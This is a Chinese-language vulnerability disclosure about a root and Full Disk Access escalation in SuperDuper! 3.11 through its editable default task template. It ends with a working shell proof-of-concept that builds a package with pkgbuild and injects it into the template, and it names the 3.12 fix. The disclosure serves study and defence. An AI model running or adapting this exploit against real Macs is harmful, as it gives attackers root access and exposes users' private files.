此漏洞与 CVE-2025-61229 中描述的漏洞类似 —— 攻击者可以编辑任务模板,从而使 SuperDuper 备份任务安装任意软件包。随后,该软件包可以以 root 用户身份、并具备最高级别的隐私权限(完全磁盘访问)运行 shell 脚本。
CVSS 3.1 评分:NVD 评分待定。
为避免此漏洞,请删除 SuperDuper! 应用程序,或应用 3.12 更新。
本漏洞分析及概念验证仅供教育目的使用。请自行承担使用风险。
在我先前对 SuperDuper CVE-2025-61229 漏洞的分析中,我发现即使开发者在 SuperDuper 3.11 更新中解决了该漏洞,SuperDuper 的“默认设置”模板仍然天生不安全。那次更新只解决了 CVE-2025-61229 中详细描述的特定漏洞,但并未解决攻击者可以修改默认任务模板这一事实。不幸的是,该任务模板包含安装软件包的功能,因此攻击者可以修改任务模板,指定一个能够以 root 用户身份并具备完全磁盘访问权限来安装软件或运行 shell 脚本的软件包。
开发者通过移除“安装软件包”功能来缓解此漏洞。但任务设置模板仍然可以被攻击者修改,开发者甚至表示,除非让用户感到不便(即要求用户在每次修改任务时都进行身份验证),否则这个问题无法解决。因此,在可预见的未来,默认任务模板似乎仍将面临被修改的风险,因为开发者未能想出其他方法来提高其安全性。
我之前的结论值得重申:Root 权限和完全磁盘访问权限是 macOS 上软件能够获得的最高权限。任何请求这些权限的开发者,都应编写遵循现代安全设计原则和最佳实践的软件。此漏洞,以及 CVE-2025-57489 和 CVE-2025-61228 中暴露的漏洞,甚至开发者自己也承认这些问题已持续了 22 年,都表明 SuperDuper 并非为安全而设计的产品,并且在 22 年间没有经过定期的设计改进以遵循现代最佳实践。
此漏洞的攻击方式与 CVE-2025-61229 几乎完全相同,因此我将在很大程度上沿用我之前对该漏洞的分析。以下概念验证演示了如何利用 SuperDuper 3.11 版进行攻击:
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
执行完这些命令后,只需使用默认设置运行一次备份,attack.pkg 便会以 root 权限和完全磁盘访问权限被安装。最终结果是 /Library 目录下(即仅 root 可写)出现一个名为“private_data”的文件,其中包含你的桌面文件夹的列表(即只有具备完全磁盘访问权限的代码才能访问)。